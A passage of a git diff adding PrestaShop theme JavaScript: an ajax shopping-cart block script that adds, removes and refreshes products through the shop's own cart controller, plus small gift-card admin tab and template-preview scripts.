$(this).text(quantity); + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1); + }); + }); + }); + }); + }); + }, + + + //display the products witch are in json data but not already displayed + displayNewProducts : function(jsonData) { + + //add every new products or update displaying of every updated products + $(jsonData.products).each(function(){ + //fix ie6 bug (one more item 'undefined' in IE6) + if (this.id != undefined) + { + //create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty) + + if ($('#cart_block dl.products').length == 0) + { + $('#cart_block_no_products').before('
            '); + $('#cart_block_no_products').hide(); + } + //if product is not in the displayed cart, add a new product's line + var domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0'); + var domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0'); + if ($('#cart_block_product_'+ domIdProduct).length == 0) + { + var productId = parseInt(this.id); + var productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0); + var content = ''; + if (this.hasAttributes) + content += ''; + + $('#cart_block dl.products').append(content); + } + //else update the product's line + else + { + var jsonProduct = this; + if($.trim($('#cart_block_product_' + domIdProduct + ' .quantity').html()) != jsonProduct.quantity || $.trim($('#cart_block_product_' + domIdProduct + ' .price').html()) != jsonProduct.priceByLine) + { + // Usual product + if (!this.is_gift) + $('#cart_block_product_' + domIdProduct + ' .price').text(jsonProduct.priceByLine); + else + $('#cart_block_product_' + domIdProduct + ' .price').html(freeProductTranslation); + ajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity); + + // Customized product + if (jsonProduct.hasCustomizedDatas) + { + customizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct); + if (!$('#customization_' + domIdProductAttribute).length) + { + if (jsonProduct.hasAttributes) + $('#cart_block_combination_of_' + domIdProduct).append(customizationFormatedDatas); + else + $('#cart_block dl.products').append(customizationFormatedDatas); + } + else + { + $('#customization_' + domIdProductAttribute).html(''); + $('#customization_' + domIdProductAttribute).append(customizationFormatedDatas); + } + } + } + } + $('#cart_block dl.products .hidden').slideDown(450).removeClass('hidden'); + + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (this.hasCustomizedDatas && removeLinks.length) + $(removeLinks).each(function() { + $(this).remove(); + }); + } + }); + }, + + displayNewCustomizedDatas : function(product) + { + var content = ''; + var productId = parseInt(product.id); + var productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination); + var hasAlreadyCustomizations = $('#customization_' + productId + '_' + productAttributeId).length; + + if (!hasAlreadyCustomizations) + { + if (!product.hasAttributes) + content += ''; + } + return (content); + }, + + + //genarally update the display of the cart + updateCart : function(jsonData) { + //user errors display + if (jsonData.hasError) + { + var errors = ''; + for(error in jsonData.errors) + //IE6 bug fix + if(error != 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + ajaxCart.updateCartEverywhere(jsonData); + ajaxCart.hideOldProducts(jsonData); + ajaxCart.displayNewProducts(jsonData); + ajaxCart.refreshVouchers(jsonData); + + //update 'first' and 'last' item classes + $('#cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item'); + $('#cart_block .products dt:first').addClass('first_item'); + $('#cart_block .products dt:not(:first,:last)').addClass('item'); + $('#cart_block .products dt:last').addClass('last_item'); + + //reset the onlick events in relation to the cart block (it allow to bind the onclick event to the new 'delete' buttons added) + ajaxCart.overrideButtonsInThePage(); + } + }, + + //update general cart informations everywhere in the page + updateCartEverywhere : function(jsonData) { + $('.ajax_cart_total').text($.trim(jsonData.productTotal)); + + if (parseFloat(jsonData.shippingCostFloat) > 0 || jsonData.nbTotalProducts < 1) + $('.ajax_cart_shipping_cost').text(jsonData.shippingCost); + else if (typeof(freeShippingTranslation) != 'undefined') + $('.ajax_cart_shipping_cost').html(freeShippingTranslation); + $('.ajax_cart_tax_cost').text(jsonData.taxCost); + $('.cart_block_wrapping_cost').text(jsonData.wrappingCost); + $('.ajax_block_cart_total').text(jsonData.total); + + this.nb_total_products = jsonData.nbTotalProducts; + + if (parseInt(jsonData.nbTotalProducts) > 0) + { + $('.ajax_cart_no_product').hide(); + $('.ajax_cart_quantity').text(jsonData.nbTotalProducts); + $('.ajax_cart_quantity').fadeIn('slow'); + $('.ajax_cart_total').fadeIn('slow'); + + if (parseInt(jsonData.nbTotalProducts) > 1) + { + $('.ajax_cart_product_txt').each( function () { + $(this).hide(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).show(); + }); + } + else + { + $('.ajax_cart_product_txt').each( function () { + $(this).show(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).hide(); + }); + } + } + else + { + $('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){ + $(this).hide(); + }); + $('.ajax_cart_no_product').show('slow'); + } + } +}; + +function HoverWatcher(selector){ + this.hovering = false; + var self = this; + + this.isHoveringOver = function() { + return self.hovering; + } + + $(selector).hover(function() { + self.hovering = true; + }, function() { + self.hovering = false; + }) +} + +//when document is loaded... +$(document).ready(function(){ + ajaxCart.overrideButtonsInThePage(); + ajaxCart.refresh(); +// alert('test'); +}); diff --git a/themes/default/js/modules/blockcart/ajax-cart.js b/themes/default/js/modules/blockcart/ajax-cart.js new file mode 100755 index 0000000..014cf25 --- /dev/null +++ b/themes/default/js/modules/blockcart/ajax-cart.js @@ -0,0 +1,759 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Retrocompatibility with 1.4 +if (typeof baseUri === "undefined" && typeof baseDir !== "undefined") + baseUri = baseDir; + +//JS Object : update the cart by ajax actions +var ajaxCart = { + nb_total_products: 0, + + //override every button in the page in relation to the cart + overrideButtonsInThePage : function(){ + $('.commanderFullRituel').unbind('click').click(function(){ + $(this).parent().parent().find('tr').each(function(){ + $(this).find('a.ajax_add_to_cart_button').click(); + }); + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + $('.commanderRituel').unbind('click').click(function(){ + var filtre_id=new Array(); + var i=0; + var log=""; + // alert('test1'); + $(this).parent().parent().find('tr').each(function(){ + if($(this).find('a.ajax_add_to_cart_button').length>0){ + var thisID=$(this).find('a.ajax_add_to_cart_button').attr('rel'); + thisID=thisID.replace('ajax_id_product_',''); + if(!in_array(thisID,filtre_id)){ + filtre_id[i]=thisID; + + $(this).find('a.ajax_add_to_cart_button').click(); + i++; + // alert(thisID+' ajouté
            '); + }else{ + // alert(thisID+' Non rajouté car déjà présent'); + } + } + }); ; + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + //for every 'add' buttons... + $('.ajax_add_to_cart_button').unbind('click').click(function(){ + var idProduct = $(this).attr('rel').replace('nofollow', '').replace('ajax_id_product_', ''); + if ($(this).attr('disabled') != 'disabled') + ajaxCart.add(idProduct, null, false, this); + return false; + }); + //for product page 'add' button... + $('#add_to_cart input').unbind('click').click(function(){ + ajaxCart.add( $('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null); + return false; + }); + + //for 'delete' buttons in the cart block... + $('#cart_block_list .ajax_cart_block_remove_link').unbind('click').click(function(){ + // Customized product management + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var customizableProductDiv = $($(this).parent().parent()).find("div[id^=deleteCustomizableProduct_]"); + + if (customizableProductDiv && $(customizableProductDiv).length) + { + $(customizableProductDiv).each(function(){ + var ids = $(this).attr('id').split('_'); + if (typeof(ids[1]) != 'undefined') + { + customizationId = parseInt(ids[1]); + productId = parseInt(ids[2]); + if (typeof(ids[3]) != 'undefined') + productAttributeId = parseInt(ids[3]); + return false; + } + }); + } + + // Common product management + if (!customizationId) + { + //retrieve idProduct and idCombination from the displayed product in the block cart + var firstCut = $(this).parent().parent().attr('id').replace('cart_block_product_', ''); + firstCut = firstCut.replace('deleteCustomizableProduct_', ''); + ids = firstCut.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) != 'undefined') + productAttributeId = parseInt(ids[1]); + } + + var idAddressDelivery = $(this).parent().parent().attr('id').match(/.*_\d+_\d+_(\d+)/)[1]; + + // Removing product from the cart + ajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery); + return false; + }); + }, + + // try to expand the cart + expand : function(){ + if ($('#cart_block_list').hasClass('collapsed')) + { + $('#cart_block_summary').slideUp(200, function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_list').slideDown({ + duration: 450, + complete: function(){$(this).addClass('expanded').removeClass('collapsed');} + }); + }); + // toogle the button expand/collapse button + $('#block_cart_expand').fadeOut('slow', function(){ + $('#block_cart_collapse').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=expand' + }); + + + } + }, + // Fix display when using back and previous browsers buttons + refresh : function(){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + } + }); + }, + + // try to collapse the cart + collapse : function(){ + + if ($('#cart_block_list').hasClass('expanded')) + { + $('#cart_block_list').slideUp('slow', function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_summary').slideDown(450, function(){ + $(this).addClass('expanded').removeClass('collapsed'); + }); + }); + $('#block_cart_collapse').fadeOut('slow', function(){ + $('#block_cart_expand').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime() + }); + } + }, + + // Update the cart information + updateCartInformation : function (jsonData, addedFromProductPage) + { + ajaxCart.updateCart(jsonData); + + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $('.ajax_add_to_cart_button').removeAttr('disabled'); + }, + + // add a product in the cart via ajax + add : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){ + if (addedFromProductPage && !checkCustomizations()) + { + alert(fieldRequired); + return ; + } + emptyCustomizations(); + //disabled the button when adding to not double add if user double click + if (addedFromProductPage) + { + $('#add_to_cart input').attr('disabled', true).removeClass('exclusive').addClass('exclusive_disabled'); + $('.filled').removeClass('filled'); + } + else + $(callerElement).attr('disabled', true); + + if ($('#cart_block_list').hasClass('collapsed')) + this.expand(); + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): ''), + success: function(jsonData,textStatus,jqXHR) + { + fbq('track', 'AddToCart', { + content_ids: [idProduct], + content_type: 'product', + }); + // add appliance to whishlist module + if (whishlist && !jsonData.errors) + WishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]); + + // add the picture to the cart + var $element = $(callerElement).parent().parent().find('a.product_image img,a.product_img_link img'); + if (!$element.length) + $element = $('#bigpic'); + var $picture = $element.clone(); + var pictureOffsetOriginal = $element.offset(); + + if ($picture.size()) + $picture.css({'position': 'absolute', 'top': pictureOffsetOriginal.top, 'left': pictureOffsetOriginal.left}); + + var pictureOffset = $picture.offset(); + if ($('#cart_block')[0] && $('#cart_block').offset().top && $('#cart_block').offset().left) + var cartBlockOffset = $('#cart_block').offset(); + else + var cartBlockOffset = $('#header_user').offset(); + + // Check if the block cart is activated for the animation + if (cartBlockOffset != undefined && $picture.size()) + { + $picture.appendTo('body'); + $picture.css({ 'position': 'absolute', 'top': $picture.css('top'), 'left': $picture.css('left'), 'z-index': 4242 }) + .animate({ 'width': $element.attr('width')*0.66, 'height': $element.attr('height')*0.66, 'opacity': 0.2, 'top': cartBlockOffset.top + 30, 'left': cartBlockOffset.left + 15 }, 1000) + .fadeOut(100, function() { + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }); + } + else + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert("Impossible to add the product to the cart.\n\ntextStatus: '" + textStatus + "'\nerrorThrown: '" + errorThrown + "'\nresponseText:\n" + XMLHttpRequest.responseText); + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $(callerElement).removeAttr('disabled'); + } + }); + }, + + //remove a product from the cart via ajax + remove : function(idProduct, idCombination, customizationId, idAddressDelivery){ + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true', + success: function(jsonData) { + ajaxCart.updateCart(jsonData); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + deleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery); + }, + error: function() {alert('ERROR: unable to delete the product');} + }); + }, + + //hide the products displayed in the page but no more in the json data + hideOldProducts : function(jsonData) { + //delete an eventually removed product of the displayed cart (only if cart is not empty!) + if ($('#cart_block_list dl.products').length > 0) + { + var removedProductId = null; + var removedProductData = null; + var removedProductDomId = null; + //look for a product to delete... + $('#cart_block_list dl.products dt').each(function(){ + //retrieve idProduct and idCombination from the displayed product in the block cart + var domIdProduct = $(this).attr('id'); + var firstCut = domIdProduct.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + //try to know if the current product is still in the new list + var stayInTheCart = false; + for (aProduct in jsonData.products) + { + //we've called the variable aProduct because IE6 bug if this variable is called product + //if product has attributes + if (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1])) + { + stayInTheCart = true; + // update the product customization display (when the product is still in the cart) + ajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct); + } + } + //remove product if it's no more in the cart + if (!stayInTheCart) + { + removedProductId = $(this).attr('id'); + if (removedProductId != null) + { + var firstCut = removedProductId.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + $('#'+removedProductId).addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow', function(){ + $(this).remove(); + // If the cart is now empty, show the 'no product in the cart' message and close detail + if($('#cart_block dl.products dt').length == 0) + { + $("#header #cart_block").stop(true, true).slideUp(200); + $('#cart_block_no_products:hidden').slideDown(450); + $('#cart_block dl.products').remove(); + } + }); + }); + $('#cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '')).fadeTo('fast', 0, function(){ + $(this).slideUp('fast', function(){ + $(this).remove(); + }); + }); + } + } + }); + } + }, + + hideOldProductCustomizations : function (product, domIdProduct) + { + var customizationList = $('#customization_' + product['id'] + '_' + product['idCombination']); + if(customizationList.length > 0) + { + $(customizationList).find("li").each(function(){ + $(this).find("div").each(function() { + var customizationDiv = $(this).attr('id'); + var tmp = customizationDiv.replace('deleteCustomizableProduct_', ''); + var ids = tmp.split('_'); + if ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0])) + $('#' + customizationDiv).parent().addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow'); + $(this).remove(); + }); + }); + }); + } + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (!product.hasCustomizedDatas && !removeLinks.length) + $('#' + domIdProduct + ' span.remove_link').html(' '); + if (product.is_gift) + $('#' + domIdProduct + ' span.remove_link').html(''); + }, + + doesCustomizationStillExist : function (product, customizationId) + { + var exists = false; + + $(product.customizedDatas).each(function() { + if (this.customizationId == customizationId) + { + exists = true; + // This return does not mean that we found nothing but simply break the loop + return false; + } + }); + return (exists); + }, + + //refresh display of vouchers (needed for vouchers in % of the total) + refreshVouchers : function (jsonData) { + if (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0) + $('#vouchers').hide(); + else + { + $('#vouchers tbody').html(''); + + for (i=0;i 0) + { + var delete_link = ''; + if (jsonData.discounts[i].code.length) + delete_link = ''+delete_txt+''; + $('#vouchers tbody').append($( + '' + +' 1x' + +' '+jsonData.discounts[i].name+'' + +' -'+jsonData.discounts[i].price+'' + +' ' + delete_link + '' + +'' + )); + } + } + + $('#vouchers').show(); + } + + }, + + // Update product quantity + updateProductQuantity : function (product, quantity) { + + $('#cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + ' .quantity').fadeTo('fast', 0, function() { + $(this).text(quantity); + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1, function(){ + $(this).fadeTo('fast', 0, function(){ + $(this).fadeTo('fast', 1); + }); + }); + }); + }); + }); + }, + + + //display the products witch are in json data but not already displayed + displayNewProducts : function(jsonData) { + + //add every new products or update displaying of every updated products + $(jsonData.products).each(function(){ + //fix ie6 bug (one more item 'undefined' in IE6) + if (this.id != undefined) + { + //create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty) + + if ($('#cart_block dl.products').length == 0) + { + $('#cart_block_no_products').before('
            '); + $('#cart_block_no_products').hide(); + } + //if product is not in the displayed cart, add a new product's line + var domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0'); + var domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0'); + if ($('#cart_block_product_'+ domIdProduct).length == 0) + { + var productId = parseInt(this.id); + var productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0); + var content = ''; + if (this.hasAttributes) + content += ''; + + $('#cart_block dl.products').append(content); + } + //else update the product's line + else + { + var jsonProduct = this; + if($.trim($('#cart_block_product_' + domIdProduct + ' .quantity').html()) != jsonProduct.quantity || $.trim($('#cart_block_product_' + domIdProduct + ' .price').html()) != jsonProduct.priceByLine) + { + // Usual product + if (!this.is_gift) + $('#cart_block_product_' + domIdProduct + ' .price').text(jsonProduct.priceByLine); + else + $('#cart_block_product_' + domIdProduct + ' .price').html(freeProductTranslation); + ajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity); + + // Customized product + if (jsonProduct.hasCustomizedDatas) + { + customizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct); + if (!$('#customization_' + domIdProductAttribute).length) + { + if (jsonProduct.hasAttributes) + $('#cart_block_combination_of_' + domIdProduct).append(customizationFormatedDatas); + else + $('#cart_block dl.products').append(customizationFormatedDatas); + } + else + { + $('#customization_' + domIdProductAttribute).html(''); + $('#customization_' + domIdProductAttribute).append(customizationFormatedDatas); + } + } + } + } + $('#cart_block dl.products .hidden').slideDown(450).removeClass('hidden'); + + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (this.hasCustomizedDatas && removeLinks.length) + $(removeLinks).each(function() { + $(this).remove(); + }); + } + }); + }, + + displayNewCustomizedDatas : function(product) + { + var content = ''; + var productId = parseInt(product.id); + var productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination); + var hasAlreadyCustomizations = $('#customization_' + productId + '_' + productAttributeId).length; + + if (!hasAlreadyCustomizations) + { + if (!product.hasAttributes) + content += ''; + } + return (content); + }, + + + //genarally update the display of the cart + updateCart : function(jsonData) { + //user errors display + if (jsonData.hasError) + { + var errors = ''; + for(error in jsonData.errors) + //IE6 bug fix + if(error != 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + ajaxCart.updateCartEverywhere(jsonData); + ajaxCart.hideOldProducts(jsonData); + ajaxCart.displayNewProducts(jsonData); + ajaxCart.refreshVouchers(jsonData); + + //update 'first' and 'last' item classes + $('#cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item'); + $('#cart_block .products dt:first').addClass('first_item'); + $('#cart_block .products dt:not(:first,:last)').addClass('item'); + $('#cart_block .products dt:last').addClass('last_item'); + + //reset the onlick events in relation to the cart block (it allow to bind the onclick event to the new 'delete' buttons added) + ajaxCart.overrideButtonsInThePage(); + } + }, + + //update general cart informations everywhere in the page + updateCartEverywhere : function(jsonData) { + $('.ajax_cart_total').text($.trim(jsonData.productTotal)); + + if (parseFloat(jsonData.shippingCostFloat) > 0 || jsonData.nbTotalProducts < 1) + $('.ajax_cart_shipping_cost').text(jsonData.shippingCost); + else if (typeof(freeShippingTranslation) != 'undefined') + $('.ajax_cart_shipping_cost').html(freeShippingTranslation); + $('.ajax_cart_tax_cost').text(jsonData.taxCost); + $('.cart_block_wrapping_cost').text(jsonData.wrappingCost); + $('.ajax_block_cart_total').text(jsonData.total); + + this.nb_total_products = jsonData.nbTotalProducts; + + if (parseInt(jsonData.nbTotalProducts) > 0) + { + //$('#shopping_cart').show(); + $('.ajax_cart_no_product').hide(); + $('.ajax_cart_quantity').text(jsonData.nbTotalProducts); + $('.ajax_cart_quantity').fadeIn('slow'); + $('.ajax_cart_total').fadeIn('slow'); + + if (parseInt(jsonData.nbTotalProducts) > 1) + { + $('.ajax_cart_product_txt').each( function () { + $(this).hide(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).show(); + }); + } + else + { + $('.ajax_cart_product_txt').each( function () { + $(this).show(); + }); + + $('.ajax_cart_product_txt_s').each( function () { + $(this).hide(); + }); + } + } + else + { + /* + $('#shopping_cart').hide(); + $('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){ + $(this).hide(); + }); + $('.ajax_cart_no_product').show('slow'); + */ + } + } +}; + +function HoverWatcher(selector){ + this.hovering = false; + var self = this; + + this.isHoveringOver = function() { + return self.hovering; + } + + $(selector).hover(function() { + self.hovering = true; + }, function() { + self.hovering = false; + }) +} + +//when document is loaded... +$(document).ready(function(){ + // expand/collapse management + $('#block_cart_collapse').click(function(){ + ajaxCart.collapse(); + }); + $('#block_cart_expand').click(function(){ + ajaxCart.expand(); + }); + ajaxCart.overrideButtonsInThePage(); + ajaxCart.refresh(); + + /* roll over cart */ + var cart_block = new HoverWatcher('#cart_block'); + var shopping_cart = new HoverWatcher('#shopping_cart'); + + $("#shopping_cart a:first").hover( + function() { + $(this).css('border-radius', '3px 3px 0px 0px'); + if (ajaxCart.nb_total_products > 0) + $("#cart_block").stop(true, true).slideDown(450); + }, + function() { + $('#header #shopping_cart a').css('border-radius', '3px'); + setTimeout(function() { + if (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver()) + $("#header #cart_block").stop(true, true).slideUp(450); + }, 200); + } + ); + + $("#cart_block").hover( + function() { + $('#shopping_cart a').css('border-radius', '3px 3px 0px 0px'); + }, + function() { + $('#shopping_cart a').css('border-radius', '3px'); + setTimeout(function() { + if (!shopping_cart.isHoveringOver()) + $("#header #cart_block").stop(true, true).slideUp(450); + }, 200); + } + ); + + $('.delete_voucher').live('click', function() { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + async: true, + cache: false, + url:$(this).attr('href') + '?rand=' + new Date().getTime() + }); + $(this).parent().parent().remove(); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + { + if (typeof(updateAddressSelection) != 'undefined') + updateAddressSelection(); + else + location.reload(); + } + return false; + }); +}); diff --git a/themes/default/js/modules/giftcard/js/admingiftcard.js b/themes/default/js/modules/giftcard/js/admingiftcard.js new file mode 100755 index 0000000..c3b435c --- /dev/null +++ b/themes/default/js/modules/giftcard/js/admingiftcard.js @@ -0,0 +1,35 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + $('#currentFormTab').val(tab); +} + diff --git a/themes/default/js/modules/giftcard/js/admingiftcardtemplate.js b/themes/default/js/modules/giftcard/js/admingiftcardtemplate.js new file mode 100755 index 0000000..b9d1d3b --- /dev/null +++ b/themes/default/js/modules/giftcard/js/admingiftcardtemplate.js @@ -0,0 +1,57 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-row').removeClass('active'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).addClass('selected'); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-page').removeClass('active'); + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).addClass('selected'); + /*Bootstrap*/ + $('#gift_card_link_' + tab).addClass('active'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/themes/default/js/modules/giftcard/js/admingiftcardtemplatebootstrap.js b/themes/default/js/modules/giftcard/js/admingiftcardtemplatebootstrap.js new file mode 100755 index 0000000..4061b50 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/admingiftcardtemplatebootstrap.js @@ -0,0 +1,53 @@ +/** + * GIFTCARD +* +* @category pricing_promotion +* @author Timactive - Romain DE VERA +* @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI +* @version 1.0.0 +* @license Commercial license +* +************************************* +** GIFTCARD * +** V 1.0.0 * +************************************* +* + +* + Languages: EN, FR +* + PS version: 1.5,1.6 +*/ + +var svg = null; +$( document ).ready(function() { + $('.gift_card_tab').hide(); + /*$('.tab-page').removeClass('selected'); + /*Bootstrap*/ + $('.tab-row.active').removeClass('active'); + $('#gift_card_' + currentFormTab).show(); + $('#gift_card_link_' + currentFormTab).parent().addClass('active'); +} +); +function displayGiftCardTab(tab) +{ + $('.gift_card_tab').hide(); + $('.tab-row.active').removeClass('active'); + /*Bootstrap*/ + $('#gift_card_' + tab).show(); + $('#gift_card_link_' + tab).parent().addClass('active'); + $('#currentFormTab').val(tab); +} +function previewTemplate(token) +{ + var data = $("#giftcardtemplate_form").serialize(); + var d = new Date(); + var n = d.getTime(); + url = 'index.php?controller=AdminGiftCardTemplate&token='+token+ + '&submitAction=generateImg&'+n+'&'+data; + $('#giftcardtemplateselect_img').html(''); + var img = $('') + $(img).attr('width','100%'); + $(img).attr('height','auto'); + $(img).attr('src', url).appendTo($('#giftcardtemplateselect_img')).fadeIn(); + $('#giftcardtemplates').hide(); + $('#giftcardtemplateselect').show(); +} + diff --git a/themes/default/js/modules/giftcard/js/admingiftcardtemplateps15.js b/themes/default/js/modules/giftcard/js/admingiftcardtemplateps15.js new file mode 100755 index 0000000..8a06d18 --- /dev/null +++ b/themes/default/js/modules/giftcard/js/admingiftcardtemplateps15.js @@ -0,0 +1,51 @@ +/** + * GIFTCARD +* +* @category pricing_promotion 